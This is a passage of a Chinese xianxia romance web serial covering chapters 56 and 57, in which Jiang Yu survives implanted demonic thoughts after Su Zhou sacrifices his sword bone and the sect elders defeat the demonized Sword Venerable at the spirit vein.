姜鱼又拿出一张符纸,“不过宗主去的时候我不在,我问了那时看门的弟子,他说看到过宗主。” “只是弟子看到过?” 姜鱼点点头。 宿舟陷入沉思,剑宗宗主太神秘了,自他入宗以来,都没见过宗主一面,但他入宗也不足十年时间,十年对宗主这种程度的修士来说又真不算什么,往往闭关一次就是几十年过去了。 但就算这样,宗主的存在感似乎也太低了。 姜鱼又看向旁边,“这是薛少主来的消息。” 宿舟眉梢一动。 “他说什么了?” 姜鱼压着那张符纸,“其实也没什么。” “让我看看。” 和之前不同的态度,姜鱼挑了挑眉,“这么在意?” 宿舟沉默片刻,嗯了一声。 姜鱼往前凑了凑,“这是……吃醋啦?” “嗯。” 听他承认,姜鱼脸微微一红,挪开手,“其实也没说什么……” 宿舟拿起来一看,薛清浪的消息是说海洲那边魔物出现的情况,没说别的什么,他暗自松了口气。 姜鱼收起拿起符纸,有些得意,“所以,我虽然足不出户,实则在掌控全局。” 见她心情状态都不错,宿舟稍微放心了些,但他更关心的还是姜鱼身上魔化的情况,垂眸看她的手,手指修长,皮肤白皙,当初看到一闪而逝的魔纹仿佛只是错觉。 顺着他的视线,姜鱼把手伸到他面前,“仔细看看?” 宿舟:…… “其实魔纹这些日子都没出现,上次还是喝醉了在马车里……”她眨了眨眼睛,“你说,你是不是我魔念的源头啊?” 宿舟动了动唇,不知该怎么回答她这话。 “要不试试?”姜鱼提议。 “怎么试?” “你过来。” 被她招呼过去,姜鱼伸手环抱住了他的腰,宿舟浑身一僵,她的头发落在手背、膝头,带来一阵麻痒。 姜鱼抬眸,眼眸清澈无辜:“什么感觉?” 宿舟:“……难道不是问你?” “对哦。” 是她想测试魔念来着。 她稍微坐起身,换了个姿势,头挨在他颈侧,动了动鼻子,“你身上的气味真好闻,雪松香调……” 在这暖和的山洞内,他身上的冷香显得尤为明显,是姜鱼很喜欢的味道。这词听起来陌生,宿舟猜想,大概是他常在院子后面的松林练剑的缘故。 片刻后,她抬起头,眨眨眼睛,“暂时没感觉到什么……要不,亲一个?” 话说完,脸先红了。 说是为了测试,但心里的期待感做不了假,和宿舟接吻的感觉,她也偷偷在心里回味过,有些让人上瘾。 宿舟的呼吸有些急促,耳根红透,真不知这是测试姜鱼,还是在测试他。这种情况下,他也很难保持冷静,血液好像在沸腾,喉结不自然滚动,低声答应,“好。” 姜鱼闭上眼睛,缓缓凑过来。 宿舟低头看着她,他发现姜鱼接吻时喜欢闭眼,浓翘的睫毛轻颤,脸颊粉红,唇形小巧似花瓣,和她本人一样漂亮可爱。 山洞内气息温暖宁和,漫天风雪被隔绝在外,两人紧紧挨着彼此,深深拥吻在一起。 这一吻,亲到彼此气息紊乱才舍得分开,姜鱼只觉唇上发烫,身体发软,心跳乱得没了分寸,简直……刺激。 她没感觉到魔念,只感觉到甜甜的滋味涌荡心头,忍不住想笑,心轻飘飘的,像是要飞起来。 这种感觉,与其说是着魔,不如说是快乐。 她好像……是真的喜欢上宿舟了。 要是他们在一起,能谈剑、谈宗门,谈天说地,有说不完的共同话题,她想什么,宿舟都知道。 这样的人,除了他,她再找不出第二个来。 她看着宿舟,想说:要是这次能平安度过危险,他们就在一起吧?山洞外忽然传来一阵痛苦嘶吼声。 宿舟脸色一变,“我出去看看。” 姜鱼来不及说话,他已提着剑出去了,洞外寒风呼啸,在风声中传来的呼喊声,竟是来自隔壁山洞。 “杀、杀了……杀了你们!” “啊啊啊!” 是于照的声音。 姜鱼凑到洞口边,“师兄怎么了?” “他失控了。” “怎么会这样?” 难道阻止魔化的药只对她有效,对于照没用? 宿舟也回答不了她,于照的嘶吼声持续了半个多时辰,才逐渐停下来,宿舟关心了他两句,几个弟子冒着风雪往这边来了。 落寒峰少有人来,他们应该是被罚来思过的弟子。 几人走到山洞前,听到谈话声,好奇凑过来,“还真是在这……” “啧啧。” “天骄候选,之前多不可一世,现在落得这个下场,过段时间就要变成魔物了!” “我看现在也不过是装装样子吧,姜鱼不就是仗着自己有个当长老的爹吗?” “李师姐都死了,她怎么好意思活着?” “我要是她,早就当场自尽了!” 几人说得唾沫星子飞溅,忽然觉得身上一寒,抬头就见宿舟冷着脸,正看着他们。 “宿、宿师弟……” “我见过你。”他对其中一人说,“你是屠石的跟班。” “师弟,你认错人了——啊!!” 谁也没想到,宿舟会在这时候拔剑,寒光一闪,那人竟然被活生生削掉了半个耳朵!其他几人吓得腿软跪地,那人捂着耳朵叫道:“宿舟,你疯了!蓄意伤害同门,你想死吗?!” 宿舟神色淡漠,不为所动。 几人身后忽然有人道:“他砍人不对,你们骂人就对了?” 那几个倏然回头,见隋鹭冒着风雪,悠然而来,几个弟子脸色煞白,“三、三峰主……” 眼见惹上忍不起的人物,几人也顾不上叫骂了,一溜烟跑的没影了。 隋鹭道:“跑什么,我这不是来为你们住持公道了?” 话随着风声送远,几人跑得更快了。 隋鹭:…… 她耸了耸肩,回头看向宿舟,他还站在山洞旁,剑上的一抹血迹已凝固了。 姜鱼紧张的声音透过山洞传来,“宿行云,你没杀人吧?” 宿舟刚要开口,隋鹭代他回答,“没有,就是下手轻了,我看应该多劈两剑。” 宿舟:…… 他后退一步,“三峰主。” 隋鹭对他摆摆手,“我不是来找你的,她才是。” 宿舟抬头,见隋鹭身后,还有人冒着风雪而来,那人一身白衣,身姿飘渺,正是西江月。他神色一僵,隋鹭已溜达进山洞见徒弟去了。 山洞里传来姜鱼讶异的声音:“师尊,你怎么把鸡也带来了?” 一分神的功夫,西江月已到面前,他躬身行礼,“师尊。” 西江月淡淡看了一眼他的剑,神色看不出喜怒,“跟我来。” 宿舟回头看了一眼。 西江月:“怎么,你还怕隋鹭把她徒弟吃了?” 宿舟:…… 他只好跟在师尊身后,西江月似乎只是漫无目的走着,落寒峰上留下师徒二人的足迹,很快又被风雪淹没。 “师尊——” “还记得我这师尊?”她冷声道,“这次回来,你就守在这里,连五峰都没去过。” “弟子知错。” “哼。” “你为了姜鱼,已一错再错。”西江月道,“当初我收你为徒时,你是怎么说的?” “永不背叛师尊,不背叛剑宗。” “亏你还记得。” “但——为宗门找出幕后黑手,怎么算错?” “你还学会顶嘴了?”西江月道,“跟姜鱼学的?” “……” 他握紧了剑柄,无话可说。 西江月站在山头,眺望剑宗七峰,“你说那幕后黑手,是谁?” 宿舟迟疑。 “宗主?” “弟子觉得……不是。” “哦?” “问题还在李师姐身上。” 宗主要么不出现,要么去了就该有所帮助,可他只是露面看了一眼师姐就走了,倒像是刻意做给人看的。 “不是宗主,难道另有其人?” “接触过李师姐的人,能帮她遮掩魔纹的人——” “哟,还在聊呢。” 师徒二人正在说话,隋鹭从旁边走过来,招呼西江月,“还不走?” 宿舟回过头,见隋鹭竟然到这来了,心神一紧,霍然看向山洞方向,隔着茫茫风雪,一道灰袍人影如一只灰鸢,径直飞入山洞中。 “那是谁?!”—— 作者有话说:正文即将完结,主要是剧情线完结,恋爱内容会写在番外哦~ 第56章 隋鹭进了山洞, 关心姜鱼一阵,见她情况还好,又溜溜达达离开了, 临走时还把带来的鸡给她留下了。 说是怕她在这待着无聊,让鸡陪着她。 姜鱼抱着鸡,一阵无语,母鸡在她怀里咕咕两声, 羽毛滚烫, 她把脸贴在鸡背上取暖, 这时, 一阵风雪灌入, 山洞口的结界应声而碎! 姜鱼惊得一下站起身,这结界是她控制,她没有放人进来, 结界直接被冲碎, 这可是她爹布的结界,来人是谁?! 飞扬的雪沫落下, 灰袍人站在她面前。 姜鱼的心骤然一沉。 “大长老……” 大长老袖手而立,“见了我,你倒是不意外。” 姜鱼放下鸡,不着痕迹将它往山洞里面赶, “不, 我确实没想到来的人是你。” 大长老笑了笑, “你觉得是谁?宗主, 还是……二长老?” 姜鱼摇了摇头。 “你出现在这里,说明根本就没有什么宗主了,之前弟子见到的宗主, 也是你假扮的。” 大长老神色意外,“你倒是聪明。” 姜鱼道:“但我还是不明白,我……有什么特殊的,值得大长老您这么大费周章对付我?” 大长老目光沉沉落在她身上,“来自异世的魂魄、年轻而有天赋的身体、无限的潜力,这岂不是……最佳的夺舍对象?” 姜鱼额头沁出冷汗。 夺舍! 果然……果然是…… 自从问天剑灵出现,姜鱼就在想,问天剑尊是否还存活在人间,如果他还在,那他销声匿迹三千年,到底是去哪了?姜鱼推测,他可能是飞升失败,受了重创,天雷之下,甚至可能躯壳不存,只剩一丝魂灵游荡人间。 问天剑坠入魔渊,成了魔剑残片,又被魔物带到人间,而他回到最熟悉的剑宗,潜伏起来,不知过了多久,他找到了夺舍的机会,夺舍了宗内元老,可能随着时日流传,他在不断更换躯体,直到今日…… 而现在,他盯上了自己,还点出自己前世来自异世,难道是她这个身体更好夺舍? “没错,你不会以为夺舍一事很容易吧?”此事是逆天而为,每次夺舍,他都会陷入长时间的虚弱期,但姜鱼这具身体不一样,她的魂魄来自异世,不受此间天道庇佑,夺舍她没有副作用。 这是他盯上姜鱼,不惜做足准备,铺垫了这么长时间的原因。 “所以,你就是问天剑尊?” “没错。” 他回答得越干脆,就越令姜鱼心慌,这说明对方已经胜券在握,笃定了自己已经是个死人,所以才大方的告知一切。 此时他心中的得意怕是已经接近巅峰。 “可我是女人。” “你觉得我夺舍躯体,还会看重性别?”他看着姜鱼,眼中流露贪婪之色,“你既然在天道规则之外,用你的躯体,说不定方能实现吾之大计。” 姜鱼心说,你都这样了,还想着大计呢? 但这话不能说出来,此刻她只想从大长老口中套出更多话,顺便拖延时间。 “这么说,你当年飞升的传闻确实是假的——” “呵。” “知道我为什么让那些人入魔吗?”大长老忽然打断她的话,“你的躯体虽好,但你本人心中难起魔念,哪怕问天剑将魔气注入你体内,你直至今日,依然没有入魔之兆。” 姜鱼一惊。 所以她真的没入魔,这些日子影响她的、她以为的魔纹,是问天剑注入的魔气?! “但没关系,你没有魔念,别人有。”大长老抬手,他手中出现四团氤氲的灰气,“只要是跟你有关的人,他们的魔念也会影响你,在你心中生成真正的魔种——” 姜鱼心知不妙,捏符想跑,但大长老的修为比她高出太多,没看到他出手,便将她牢牢定在原地,令她动弹不得。 接着,他手一抬,那四团魔念径直没入姜鱼心口! 一阵惊人寒意霎时从心脉蔓延到四肢百骸,令姜鱼浑身发寒,额头的冷汗却依然冒个不停。 大长老阴邪一笑,“魔念入体,魔化已成定局,你的小把戏不管用了。有这几团魔念,你的魔化速度将是其他人的百倍、千倍,等他们找到你时,你已经是个魔物了!” “你……你要夺舍……为什么还要我入魔?”在魔念影响下,姜鱼艰难提问。 大长老没有回答,他看了一眼洞外,隋鹭和西江月正往这边赶来,不再停留,纵身跃出山洞。袍袖震动间,露出一截手臂,细如枯枝,指甲尖黑,分明是一只魔物的手。 “是大长老!” “快追上他!” “他要去哪?” “问天……问天剑!”姜鱼用尽最后力气,奔出洞口,“师尊,别让他拿剑……” 隋鹭回头看了一眼,见徒弟状况不佳,两下为难,西江月已纵身而出,“隋鹭,不能让他走,这里交给宿舟。” 隋鹭心知西江月一人打不过大长老,一咬牙,跟了上去。 三人在漫天风雪中交起手来。 冲出山洞的姜鱼腿一软,本以为会扑倒在雪地里,却落入了一个温柔的怀抱。 “宿……行云。” “小鱼,你怎么了?” 宿舟将她抱在怀里,感觉姜鱼的身体冷得厉害,心猛然发沉,抱着她回到山洞,用毯子裹着她。 姜鱼冻紫唇色稍微恢复一些,但还是在不住发抖,“他、他是……问天剑尊……” “我知道了。”宿舟握着她冰冷的手,帮她恢复温度,“师尊和三峰主都追去了,她们知道怎么办,你放心。” 姜鱼点点头,又说:“他……是魔物。” 宿舟瞳孔一缩。 这么短短时间,姜鱼已经想明白了。 “他想抛弃旧的魔躯,要我的身体……”她低声说,气若游丝,“所以,他要我入魔……” “我明白了。”宿舟既心疼又焦急,声音在颤抖,“现在该怎么才能救你?” “不知道……” 四团魔念盘踞心脉,姜鱼的大脑渐渐混沌,说不出话,“宿行云,你抱着我……” “好。” “别走……” “小鱼,我在。” 他用好几层毯子裹着姜鱼,又把她挪到火灵阵边,将火炉也移过来,抱着她帮她取暖,自己身上出了一层汗,姜鱼还在发抖。 他恨不能和对方骨血相融,给她取暖,可他现在除了抱着她,什么也做不了,越是无计可施,越令他焦虑难安。 姜鱼说大长老就是问天剑尊,此人已经成了魔物,所以要将姜鱼也变成魔物,方便他夺舍,他就这么走了,说明他笃定姜鱼一定会入魔,他到底对小鱼做了什么? 姜鱼意识混沌之间,仿佛来了一片虚无的苦寒之地,这里天地昏暗,气温极低,脚下是坚硬的冻土,四团灰色的气团悬在她头顶。 第一团先没入她体内,她感受到一阵强烈扭曲的杀戮之意,在这杀意之中,又藏着对自己渺小卑微的憎恨。 她眼前冒出一团虚影,她看到虚影跪在自己脚下,匍匐在地,喊她“神女”,一道声音在耳边响起,“你很讨厌他吧,杀了他,让他消失……” 姜鱼提起剑,一剑斩落—— 曾牛的虚影随之消失,身后的声音也消失,曾牛和魔物的魔念落入心中,杀意扎下了根。 姜鱼心神一颤,却无法从这混沌中醒来。 不待她喘口气,第二团魔念随之而来,那念头无比熟悉亲切,在表面的爱意之下,深藏如渊海恐惧。 她听到师姐的声音—— “那是我求之不得的人。” “师尊,我……不,弟子不敢冒犯您……” “你、你不是师尊,你是谁?” “问、问天剑尊?!” 姜鱼明白了,师姐确实爱上了宗主,可宗主不知何时被魔化的剑尊替代,师姐发现了真相,才被剑尊所害。 难怪、难怪师姐死前,也无法说出那个秘密…… 师姐的恐惧感染了她,她感到害怕,面前的虚影化为问天剑尊的模样,她既害怕又愤怒,一剑斩下! “小鱼!” “别、别杀我……” 人头滚落在地,朝向她的,竟然是李休音的脸。 姜鱼一惊,冷汗满身,脑中意识错乱,不,她怎么会杀了师姐? 魔念又加深一层。 第三道魔念落下,那念头说,她恨这个世界,恨天道无情,为何在大婚之日,夺走了她的伴侣…… 这是兰姨的滔天之恨。 面前又出现了两道虚影,姜鱼眼中像蒙着一层雾,她什么也看不见,只能看到血红的雾气,兰姨在耳边哭诉,“杀了他们、杀了他们,为我报仇,为夫君报仇——” 她不知道怎么落下了剑,眼前出现的,是跪地淌血的爹娘。 姜鱼要疯了。 杀念、恐惧、仇恨在心中纠缠,她控制不了自己杀人,她心中仅存的一丝清明在苦苦挣扎,不能、不能再杀了…… 然而恶魔不会放过她,第四道魔念随之而来,这是嫉妒。这念头嫉恨天道不公,为何有人生来好命,能做天之骄女,而她只是一个小小杂役。人群中那耀眼的存在,令她嫉妒到发狂……为什么,她不能过那样的人生?! 是洛雨。 再正直的心灵,一旦被嫉妒扭曲,也将变得面目全非。 姜鱼面前站着一个人,她言笑晏晏,漂亮鲜活,是个绮年玉貌的少女,那正是她自己。 杀了她、杀了她,从此再也没有痛苦,没有嫉恨、没有恐惧。 她将得到解脱。 那念头在心里鼓动着,脑子里无数的念头在尖叫,心脉中魔气四溢,姜鱼还剩一丝理智,她知道自己不能动手。 在心魔境中杀了自己,她就要变成魔物。 然而苦苦抑制,提剑的手仍然不受控制抬了起来—— 不,不要。 “不要……” “小鱼?” 宿舟抱着姜鱼,有一会儿,她平静的睡了过去,可才过去片刻,她就像陷入梦魇中,挣扎越来越激烈,额头冒出虚汗,雪白皮肤之下,墨黑的魔纹涌动,数量之多,触目惊心,仿佛就要挣破皮肤而出。 解开毯子,她的指甲在变长,皮肤渐渐变成暗红色…… 宿舟心神俱惊,没想到魔化来得这么快,这么迅猛。他将姜鱼放下,一念之间,已经做出了决定。 剑骨…… 剑骨能压制魔气,前几天,他在一本残卷上看到,若身怀剑骨者自愿取骨,剑骨可化为净魂之器,世间所有的魔气、邪气都能被其镇压。 他低下头,行云剑似乎察觉到他的想法,在剑鞘中震鸣不止,他抬手按住剑鞘,低声道,“行云,我意已决。” 剑鞘中传来剑灵嗡声,“你不后悔?” 宿舟:“不救她,我才会后悔。” 剑灵不再说话,悠悠叹息声消散在山洞中。 宿舟取剑,森寒剑气落在后背,破开皮肤,取骨之痛,令他猛地呕出一口血来。 他抑制住颤抖,于血泊之中……取下剑骨。 荒境之内,姜鱼的剑已经要砍落“自己”的头颅,她忽然闻到了一阵血腥气,刺激她神智稍微清醒。 紧接着,一道白光落下,她脑中的嗡鸣、充斥着负面的情感,在心脉处生长的魔种,都被这白光净化。 身体骤然轻松,暖意缓缓流回心脏。 她缓缓睁开眼睛,入目是宿舟苍白的脸色,他唇角溢出的血迹,令她骤然一怔,“宿行云,你怎么了?” 她稍微一动,就见他眉头紧皱,神情似压抑着痛苦。 她意识到了什么,抬手一摸,摸到了满手湿润的血迹,“这是……” 不待说话,心口处四道魔念被逼出,骤然飞向宿舟—— “不!” 姜鱼意识到他将剑骨给了自己,没有剑骨护身,魔念会侵蚀他的身体! “不要!!” 她发出撕心裂肺的喊声,绝望充斥四肢百骸,他用剑骨救了她,还有什么办法可以救自己?不要—— 痛彻心扉之时,悠悠海螺声响起。 白螺剑上的小海螺脱剑飞出,撞上了那四道魔念,海螺瞬间破碎,暖白的光芒瞬间将两人笼罩。 那剑光摧毁了魔念,又化为温暖的守护之力,徐徐落在两人身上。 于暖光之中,姜鱼看到一副画面,白荔捧着白螺剑,将之放回剑匣中,对身后的姜怀城道:“你要我将剑传给小鱼?” “嗯。” “她愿意吗?” “这是她自己跟我提的。”姜怀城道,“夫人有何担忧?” “我担心……学剑之事成为她的负担。” “若担不起事,怎么能我们的孩子?”姜怀城不赞同道。 “不,我只想她开开心心,过得快乐。” “那也不能……不能成为废物吧。”他小声嘀咕。 白荔回头,瞪了他一眼。 “做父母的,若不能护着孩子,只会要求这要求那,又怎么配做父母?”她说,“你让小鱼学剑,日后她遇到如我当日的险境,该怎么办?” 姜怀城说不出话了,白荔轻轻拂过剑身,“以我之见,我们共同在这剑中留下一道守护剑气,在危险关头,能救她一命。” “可是夫人……你已经不能……” 说话时,他看到白荔重新拿起了剑,将灵气逼入剑中,不过片刻,已经脸色苍白,几乎站不住,他连忙走过去,稳住了夫人的手,和她一起,灌入灵气。 夫妻二人竟将各自一半修为注入这道剑气之中,剑意凝聚,化为一颗小小海螺,系在了剑柄上。 白荔眼含泪光,轻拂剑身,“愿这白螺,护我女儿一世平安。” …… 白光收歇,白螺剑落回手中,姜鱼忍不住落下泪来。 是爹娘的守护,今日救了宿舟、也救了她。 她擦了一把眼泪,将宿舟扶起来,哽咽道,“宿行云,你怎么样了?” 剑气入体,止住了脊背的伤势,含有姜家夫妻二人一半修为的剑气并不一般,和他身上残存的小块剑骨融合,化为脊骨,支撑住了他的身体。 如此一来,伤势算是治好了,但天生剑骨,已然失去了。 他脸上却没有痛苦之色,伸手擦去姜鱼脸上的泪,“别哭,小鱼,你战胜了魔念,你很厉害……” 姜鱼心中一酸。 本来泪意要止住了,却因为他一句话,再度泪崩,嚎啕大哭起来。 “小鱼……” “宿行云,你是个大混蛋!” 一边骂一边哭,一边把他紧紧抱住了,生怕他被人抢走似的。 …… 落寒峰外,隋鹭、西江月和大长老交手百招,大长老寻了个空隙,抽身遁走,两人连忙发讯通知宗内。 剑宗之内,大长老已成魔物的消息飞速传遍各峰,四峰主、二峰主纷纷出来拦截,但大长老动作更快一筹,打伤二长老,夺走了问天残片。 残片在他手中化为一把凛凛魔剑,问天剑灵激动不已,“吾主,终于、终于等到回归之日——” “闭嘴。” 问天剑尊一句斥责,令剑灵委屈闭嘴,当初他飞升失败,问天剑剑身落入魔渊,剑鞘回归剑宗,剑鞘得了一分天道之力,化为天骄榜,而剑身不可避免的魔化了,魔化就算了,竟然只剩了一截残片…… 他堂堂问天剑尊的本命剑,竟然毁在魔渊,简直废物。这么多年,他将剑弃之不顾,直到姜鱼出现,他才有了计划。 如今有魔剑在手,只要再夺走那具完美的魔躯,他再入主魔渊,以魔主之姿重新现世,既然成仙不行,那就当魔,他一样能成为这天下之主。 剑尊折回落寒峰,在他计划里,姜鱼此时已然成了一具魔躯,谁也救不她,他带走姜鱼的魔躯易如反掌。 寒风凛冽,落雪纷纷。 冲天魔气直冲山洞,西江月和隋鹭就守在洞口,大长老冷笑一声,并不把两人放在眼里,然而接下来,姜鱼从山洞中走出,令他瞳孔骤然一缩。 姜鱼……为何没有魔化?! 他收集怨、嫉、恨、杀四道魔念,灌入她灵识之中,这种情况,别说是道行尚浅的姜鱼,换个修行高深的修士来也难逃入魔下场。 这怎可能? 震惊之余,看到她身后走出的宿舟,大长老恍然——剑骨!这小子竟然用自己的天生剑骨救了姜鱼! 早知如此,他就该杀了这小子! “主人因那小子也是剑修,有几分像自己当年,一时心软,放过了他——” “闭嘴!” 剑灵第二次被训斥,不敢吭声了。 怜悯? 他对任何人都不存怜悯之心! 他只是没想到,会在这一环出了错,宿舟怎么会知道剑骨自己可取,又怎么会放弃剑骨去救姜鱼? 大长老盯着站在洞口的两人,一双魔瞳通红,几乎要滴出血来。 姜鱼喊道:“剑尊,让你失望了。” “姜鱼——” “你这么急着夺舍我,这具身体应该撑不了多久了吧?现在全宗都知道你的魔物身份,你准备去哪避避风头呢?” “呵。” 大长老冷笑一声,剑灵劝他先去魔渊再图以后,他却改主意了,如今,他还有一个地方可去,一个足以覆灭所有人的地方—— 他不再迟疑,身形化为黑雾,往东方向遁去。 “他去哪了?” “那是——” “是灵脉!” “他去镇宗灵脉所在地了!” “他有通行禁地的令牌,若他污染灵脉,化灵气为魔气,剑宗……剑宗会毁在他手里!”西江月语气严肃,“必须阻止他。” 两人正要追去,姜鱼和宿舟也要跟上,隋鹭回头道,“你们两先回去——” 她看两人的目光带着疼惜,这一次他们两受了这么大的罪,身为长辈怎么能不心疼,实在不想看他们再犯险了。 “师尊,我们也是剑宗的一份子,说不定能帮上忙呢。” 隋鹭犹豫道:“就算要去,也只能在外围支援。” 如果她预感没错,这次情况恐怕相当不妙了,先不论他们能不能杀了魔化剑尊,灵脉一旦被魔气污染,等于剑宗根基被毁,上万弟子该何去何从?剑宗这个家,将不复存在…… 姜鱼又道,“师尊,大长老如今是魔躯,有一个东西对付他非常有效。” 隋鹭眼前一亮,“镇魔令!” “你们速去取镇魔令,我先去灵脉支援。” “师尊小心。” 隋鹭去了,姜鱼看了一眼宿舟,关切问,“你还好吗?” “没事。” 虽然剑骨几乎失去,但白螺中的灵气治好了他的伤势,他已活动自如。失去剑骨的影响,是他对行云剑的感知变弱了…… 不过他不会对着姜鱼表露出来,以免让她担心。 “咱们去拿镇魔令吧?” “好。” 她正要贴符御风,宿舟对她伸出了手。 姜鱼回头一瞅,宿舟也正看着她,墨眸中暗含期待。 她上前牵起了宿舟的手,两人十指紧扣,一起纵身投入风雪中。 第57章 剑宗主峰上, 灵脉禁地。 大长老闯入之时,镇守禁地的长老已得到了通知,但他手持令牌, 可通行无阻,加上魔剑助力,他不再掩藏,千年魔威释放, 长老们难以抵抗, 死伤一片。 这时, 各峰主、长老也陆续赶到了, 二长老带伤而来, 大长老已然持魔剑劈开封印,地裂十丈,露出下方莹蓝色的灵矿地脉。 魔气就要顺着剑气污染地脉, 二长老大喊一声:“住手!” 随着她一声话音落, 二十道金符飞出,将地裂牢牢封住, 四峰主上前一步,笑着道,“剑尊,晚辈这二十道金符, 与命数气运相连, 想污染灵脉, 就请从晚辈尸体上踏过去。” 大长老眼睛一眯, 冷哼出声。 接着,姜怀城、隋鹭、西江月上前,摆开了攻击阵势。 而身后长老们手掐法诀, 开始布阵。 问天剑尊看着他们动向,显然是这三人主攻,二长老指挥,精通符阵的四峰主带着其他长老护灵脉,倒是分工明确。 天剑宗可说是他的心血,有他镇压魔渊,才有剑宗的壮大,没有他,剑宗哪有今日?这些人在他面前确实只能称晚辈。 这几千年来他的魔功随着时间增长,一旦到了躯体无法承受的程度,就不得不更换一副新的躯体,大长老这具身体已经算是时日长久的了,依然无法承受。若不是因此,他也不会费尽心机想要姜鱼的身躯。 没想到他会功亏一篑,可就算如此,这些人也不够看的。 他不再遮掩,浑身魔气四溢,衣袍震碎,露出了魔物的真容。此时的问天剑尊,在经历飞升失败,数度夺舍之后,已彻底成了魔物。头上双角,通体皮肤暗红,外覆着一层魔气凝成的魔甲,趾爪尖利,身后魔翼展开,几乎遮天蔽日。 随着他显出原形,澎湃魔威如山岳沉沉压下,众人心头一滞,后排的长老当场吐血。剑尊魔化后的实力,已超过魔王级别的魔物! 但剑宗之人,也不会因此就被吓退,守护灵脉,是他们的责任。 问天魔剑横扫,姜怀城三人也攻了上去,灵脉禁地内,灵气与魔威你来我往,互相攻伐,声势惊天动地。 弟子们遥望这场景,纷纷震惊。 “听说大长老入魔了,这魔威,真有些吓人……” “那是灵脉方向吧,万一灵脉出事,宗门怎么办?咱们要不要去帮忙?” “你去有什么用,打得过大长老一根手指吗?而且灵脉禁地,咱们也进不去啊。” “要是能帮上忙还好,就怕去了只是添乱,长老们都在,应该能应付这局面吧?” 正讨论热闹,就见头顶上方一只白鹤带着两人,携着一道金光往灵脉方向而去。 “你们看,那是谁?” “那是周夫子的白鹤吧?鹤上是谁?” “不知道啊……看着有点像姜鱼?另一个是宿舟?” …… 白鹤载着宿舟和姜鱼飞过几个峰头,落在了灵脉之外,姜鱼摸了摸它的脖颈感谢,拿着夫子的令牌,和宿舟进了禁地之内。 禁地内,剑尊和众长老正在激战,姜怀城和西江月、隋鹭都受伤不轻,后方长老们还在维持阵法,保护灵脉,魔气频繁冲击之下,四峰主的金符已被震碎十七道,剩下三道摇摇欲坠。 而剑尊这边,消耗也甚剧,魔翅被斩断一边,身上魔甲碎裂,灵气在身上多处伤口灼燃,这些人的顽强在他意料之外,更可恨的是,他越是动用魔气,这具身躯越是承受不住,使得他无法使出全力。 “你们……若不是吾之余荫,哪有你们今日!”问天剑尊扫视众人,“昔日要不是我封印魔渊,救了修界,你们一个两个,早成为魔族的饵食!” “我救了你们,如今你们却要置我于死地,你们忘恩负义,今日在这里逼死我,和魔又有什么区别?” 众长老面面相觑,神色有些动摇,他们也是听着剑尊事迹成长起来的,谁也没想到,剑尊会变成这样。 “别被他的话影响。”二长老浑身浴血,举剑不退,“剑尊,你封印魔渊,我们都敬服你,如今大陆上还传扬着你的事迹,剑宗弟子更是没有一日忘记你……但你飞升失败入魔,此是天道之意,你魔化后害了多少人?宗主、大长老、还有剑宗弟子李休音,都死在你手,你还要毁剑宗命脉,我们今日对付你,只是为了保护弟子、保护宗门,我们没错。” 剑尊魔瞳之中赤红火焰燃烧,恨火炽盛,“你的意思,是一切都是我咎由自取,要怪就怪天道?” 众人沉默,神色都有些复杂。 “天道……” “哈哈。”他仰头望天,深感讽刺。在他看来,这世间最无耻的,就是天道,它高高在上,玩弄众生,他以封印魔渊的功业,不得飞升,天道不让他飞升,偏偏又留他一道残魂,让他咽不下这口气,才到了如今这地步。 “说什么狗屁天道,今日我就先杀你们,再颠覆这天道!” 随着天边一道惊雷炸响,他调动全身魔气,灌注于问天剑中,一剑斩下! 魔威浩荡,不可一世。 “小心!” 二长老出声提醒,众人也不再保留,全力出手,然而没想到的是,剑尊这一剑不是砍向他们,而是斩向灵脉。 锵—— 三道金符碎裂,魔气灌入地下! 四长老当场吐血,倒地不起,而同时,众人蓄招将发,竟然犹豫了,因为剑尊这一剑没有摧毁灵脉,反而是将自己和灵脉绑在了一起。 “不好了,他将自己的命脉和灵脉绑在了一起!” “杀了他,就等于斩断剑宗灵脉!” “不能杀他!” 有人高喊起来,然而魔气弥漫,在此地僵持下去,他们本来就受伤不轻,恐怕坚持不了多久了。 剑尊唇角挑起,他深知这些人怕什么,只要他们犹豫,机会就到了他这边,他将吸纳灵脉之力,将这些人一击斩杀。 僵持之间,一道清脆声音响起,“别被他的计谋骗了,让他得逞。” “姜鱼?!” “你们怎么来了?” 长老们错愕回头,姜鱼的声音清晰传入众人耳际:“剑宗是先辈们建起来的,灵脉没了还能再找,人没了,剑宗才是真的散了。” 宿舟随之道:“现在不杀他,等他吸纳了灵脉,你们照样要死。” 众长老神色一震,他们太顾及灵脉,险些被剑尊牵着鼻子走了! “姜鱼,又是你——” 姜鱼挑眉,“剑尊前辈,你送我四道魔念,我也送你一份大礼。” 她抬手掐诀,镇魔令浮上半空,魔气被之压制,宿舟和她一起灌注灵气,共念口诀,“神霄玉法,敕令镇魔!” 霎时金光大作,魔气遭到压制。 西江月、隋鹭同时动了,这时不杀他,后患无穷! 剑尊咬牙,仓促调动灵脉之力,接下这招,然而镇魔令对他的压制效果显著,他挡下了镇魔令,却没挡下另外两人的杀招,西江月和隋鹭一左一右,两剑贯穿他心脉。 “啊啊啊——” 随着两人得手,身后众人跟上,漫天灵光压了过来,剑尊呕出两口魔血,不甘大势已去,浑身魔气轰然一爆! 自爆之威,震天动地。 长老们刚刚抛出护身法器就被震碎,根本无法与之对抗,眼看众人都要被炸成灰飞,地下还未被污染的一截灵脉散为脉脉灵光,化为灵光护盾,将众人保护在其中,待魔物自爆之威散去,灵光盾才渐渐消散。 而问天剑尊的魔躯,也随着灵脉,消散在天地间。 “剑尊……死了?” 众人正惊讶感慨之时,剑尊身死之地,仅剩下一块问天剑残片,那残片忽然飞起,往离它最近的西江月飞去。 “师尊!” 宿舟倏然一惊,连忙去救,西江月此时气力已尽,无法躲避,将徒弟竟然来救自己,不禁神色一怔,又见剑刃转向,不由道,“快躲开!” 宿舟刚拉开西江月,那剑刃竟然掉头,往他身上冲过来。 “宿行云!” 自从进来之后,姜鱼一直分了一丝注意力在宿舟身上,担心他还没恢复,此时见他遇险,也急忙来救他。 这可急坏了隋鹭,想拦她,但她动作太快,竟没拦住。 场面一片混乱,最终还是姜鱼挡下了剑刃,那散发着魔气的剑刃撞在姜鱼身上,却没能没入,而是像撞上了什么屏障,当一声掉在了地上。 被赶上来的长老们一顿灵诀乱轰,终于碎成了渣,随风而散了。 危机消除,姜鱼愣住了。 刚才是什么东西救了她? 难道是剑骨?不对吧,剑骨化为净魔之器,在逼出魔念时,已然消耗掉了,刚才她好像听到了“叮”一声…… 难道是系统? 她试着呼唤两声,系统依然跟往常一样装死,没有动静。 